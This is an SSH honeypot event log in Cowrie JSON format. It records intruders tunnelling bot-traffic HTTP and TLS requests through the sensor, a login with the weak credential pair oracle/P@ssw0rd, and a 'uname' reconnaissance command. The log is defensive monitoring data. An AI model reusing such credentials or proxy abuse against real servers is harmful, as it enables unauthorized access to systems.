{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:43.212470Z","session":"9d67a647d91b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:43.282719Z","src_ip":"45.153.34.195","session":"ab5ba8eb1181","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:44.334442Z","src_ip":"113.164.152.20","session":"9d67a647d91b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/88.0.4324.146 Mobile/19C57 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Q1kxOUw5aGt1NWVzV2FQKg%3D%3DPw82c%2BE8h9IyOwl9RBLfWzv2Qth0xvs2SyU9RntVqbiavUHZKt9F%2FszbuUPYOBOCR2I9rVXW0wUPNUsxPLB%2FWKT2%2Be4xLBE5zY6L0%2FZ15s7xiGoAE9T%2BpP2TO2BwvkHNkayizXUV%2Fko8j0QRTWrWjdOY1Rmnip7zXqyFkZxIWHhhPIm2duC2W%2Fz799aiuylN%2BnJGDje4OPOFazOue63t1tJd9hBM4OxavnEVEXtbkhSMvLjwQZcZS5OnVBLCe8tqje99xE0oToaSQvU32P5jrHxVEKSzvv%2FmBCjtkYc7yQaGPFKEAh6%2BMW4fnHUp5vpTAbtn4Esb2Cbd7wy9DUFbzNpfgwGndP1KO33UGT67b%2BFu1omyfn6FW1q9Ks48KSImD1pTBuCJix41hA2aLgSHiRyzkn%2BOYcFX1g7S2Vk5blqYNm0gS%2BtistQSc3NaZzlbGUD5U%2FPXGSes7JM7QxLeuv2n3GOA3qOoDm8lRsSiS45nO4kp3k3Sacsixc0UVwouY3%2B0Mg0N2eTbp8L8dRoyCyydCzrXdlRJ58FqM6ncOxddxserr4EifCxN5KBckKJXPdo1TdQm90p7y7BM5r1LGe1FBD7ZAcnqXo%2Bwx0llElcSmMV18zEKPa18wcw228fzs3Ig14aJrIRG9fNtUXO9nOISac4%2FJVNkttozqSUCimQph2naXwfy110LF44t1yI5WZQXwc6LqvAHMJnaVjgGY6W4TFCdXknqsDutcIjmzemfDFbMUMVJSVVHMV%2Fm1HKHIhfCReDLchBnysZtPE1d8WdP7b%2FgfU%2B3TUKdCV6hRXb3%2FbZXCUKHiUXssXgVNz5Qvk3uCYlVzwMXN1pSRgoTliFRFZDiXkJadiQ54VU1g%2BnoHBx8xAQDIXhxlLS99OzKtfJBtGrZf1WG2V1VahEuRYlVTA1TgP%2BD%2FF3M9NUKEH6WTnRRAXaE9YGu1qte7oA6ArruT9g9%2ByHsyWWChyo3at5%2B6qtk0H3rG8pB3nh9%2FFzodMfaBzavmOxbLwKxIXnPqMlBafb7%2FUyzejZhX4qDgZ7caK2L%2Bd2yFHImplQWsyTrrmDroDPebjxuUfxJyDSy'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/88.0.4324.146 Mobile/19C57 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Q1kxOUw5aGt1NWVzV2FQKg%3D%3DPw82c%2BE8h9IyOwl9RBLfWzv2Qth0xvs2SyU9RntVqbiavUHZKt9F%2FszbuUPYOBOCR2I9rVXW0wUPNUsxPLB%2FWKT2%2Be4xLBE5zY6L0%2FZ15s7xiGoAE9T%2BpP2TO2BwvkHNkayizXUV%2Fko8j0QRTWrWjdOY1Rmnip7zXqyFkZxIWHhhPIm2duC2W%2Fz799aiuylN%2BnJGDje4OPOFazOue63t1tJd9hBM4OxavnEVEXtbkhSMvLjwQZcZS5OnVBLCe8tqje99xE0oToaSQvU32P5jrHxVEKSzvv%2FmBCjtkYc7yQaGPFKEAh6%2BMW4fnHUp5vpTAbtn4Esb2Cbd7wy9DUFbzNpfgwGndP1KO33UGT67b%2BFu1omyfn6FW1q9Ks48KSImD1pTBuCJix41hA2aLgSHiRyzkn%2BOYcFX1g7S2Vk5blqYNm0gS%2BtistQSc3NaZzlbGUD5U%2FPXGSes7JM7QxLeuv2n3GOA3qOoDm8lRsSiS45nO4kp3k3Sacsixc0UVwouY3%2B0Mg0N2eTbp8L8dRoyCyydCzrXdlRJ58FqM6ncOxddxserr4EifCxN5KBckKJXPdo1TdQm90p7y7BM5r1LGe1FBD7ZAcnqXo%2Bwx0llElcSmMV18zEKPa18wcw228fzs3Ig14aJrIRG9fNtUXO9nOISac4%2FJVNkttozqSUCimQph2naXwfy110LF44t1yI5WZQXwc6LqvAHMJnaVjgGY6W4TFCdXknqsDutcIjmzemfDFbMUMVJSVVHMV%2Fm1HKHIhfCReDLchBnysZtPE1d8WdP7b%2FgfU%2B3TUKdCV6hRXb3%2FbZXCUKHiUXssXgVNz5Qvk3uCYlVzwMXN1pSRgoTliFRFZDiXkJadiQ54VU1g%2BnoHBx8xAQDIXhxlLS99OzKtfJBtGrZf1WG2V1VahEuRYlVTA1TgP%2BD%2FF3M9NUKEH6WTnRRAXaE9YGu1qte7oA6ArruT9g9%2ByHsyWWChyo3at5%2B6qtk0H3rG8pB3nh9%2FFzodMfaBzavmOxbLwKxIXnPqMlBafb7%2FUyzejZhX4qDgZ7caK2L%2Bd2yFHImplQWsyTrrmDroDPebjxuUfxJyDSy'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:44.351291Z","src_ip":"113.164.152.20","session":"9d67a647d91b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:44.354692Z","src_ip":"113.164.152.20","session":"9d67a647d91b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\n\\xa26\\x893\\x05wk\\x8a\\xf2\\x9a\\xca\\x979\\xd5H\\x87\\x15\\xc0)g\\x8b\\x07$\\xfd\\xca\\x11q\\x0c\\xea\\x9f\\xc3 \\n3\\xa7R\\xe0\\x99K\\xf30L\\x88\\xec~\\x9fN\\x9e\\x98;\\xc2\\xa0\\xb7\\x97b\\xc3ef#\\xe2\\xa0h\\x81\\x8a\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 w<Aunot\\xc4\\xbcG\\xb8I\\xd88\\xa3\\x14'\\x87\\xcfe]\\x8c\\xe5E\\x8ag\\xffp\\x94\\xc9\\xad9\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\n\\xa26\\x893\\x05wk\\x8a\\xf2\\x9a\\xca\\x979\\xd5H\\x87\\x15\\xc0)g\\x8b\\x07$\\xfd\\xca\\x11q\\x0c\\xea\\x9f\\xc3 \\n3\\xa7R\\xe0\\x99K\\xf30L\\x88\\xec~\\x9fN\\x9e\\x98;\\xc2\\xa0\\xb7\\x97b\\xc3ef#\\xe2\\xa0h\\x81\\x8a\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 w<Aunot\\xc4\\xbcG\\xb8I\\xd88\\xa3\\x14'\\x87\\xcfe]\\x8c\\xe5E\\x8ag\\xffp\\x94\\xc9\\xad9\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:44.356961Z","src_ip":"113.164.152.20","session":"9d67a647d91b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":52120,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee28764463eb","protocol":"ssh","message":"New connection: 45.153.34.195:52120 (10.17.0.5:22) [session: ee28764463eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:44.380418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:44.384274Z","src_ip":"45.153.34.195","session":"ee28764463eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:44.625459Z","src_ip":"45.153.34.195","session":"ee28764463eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:44.634746Z","session":"9d67a647d91b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:44.910394Z","src_ip":"113.164.152.20","session":"9d67a647d91b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x81\\x88\\x13\\xb1\\x9e-\\xf9\\xf3\\xe4\\xda#B\\xef\\x07\\xb8{\\xa8*\\xde\\x11\\\\\\xe2^\\x8fq\\xbd\\xcd\\n\\xcb\\xe39o L\\x11\\xadK\\x16\\x1b\\xea\\x99\\xea\\'\\xea@8 \\xe1\\xfe\\x08x\\x14D\\xed\\x82\\xfb+\\r\\xf6\\xcb{RJ\\xd4\\xd0\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf4\\x1c\\xb2\\xe3I\\xaa\\x8a\\x9c\\xd9\\xa4\\x9cj\\xcd\\xeb\\x1fuk\\x1c^\\xc9]\\'78\\x9a\\xaaA\\x9d\\xca\\xdeGm\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x81\\x88\\x13\\xb1\\x9e-\\xf9\\xf3\\xe4\\xda#B\\xef\\x07\\xb8{\\xa8*\\xde\\x11\\\\\\xe2^\\x8fq\\xbd\\xcd\\n\\xcb\\xe39o L\\x11\\xadK\\x16\\x1b\\xea\\x99\\xea\\'\\xea@8 \\xe1\\xfe\\x08x\\x14D\\xed\\x82\\xfb+\\r\\xf6\\xcb{RJ\\xd4\\xd0\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf4\\x1c\\xb2\\xe3I\\xaa\\x8a\\x9c\\xd9\\xa4\\x9cj\\xcd\\xeb\\x1fuk\\x1c^\\xc9]\\'78\\x9a\\xaaA\\x9d\\xca\\xdeGm\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:44.913294Z","src_ip":"113.164.152.20","session":"9d67a647d91b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"P@ssw0rd","message":"login attempt [oracle/P@ssw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:45.084827Z","src_ip":"45.153.34.195","session":"ee28764463eb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:45.287385Z","src_ip":"45.153.34.195","session":"ee28764463eb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:45.290580Z","src_ip":"45.153.34.195","session":"ee28764463eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:45.298593Z","src_ip":"113.164.152.20","session":"9d67a647d91b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:45.376970Z","src_ip":"45.153.34.195","session":"ee28764463eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:45.381171Z","src_ip":"45.153.34.195","session":"ee28764463eb","protocol":"ssh"}
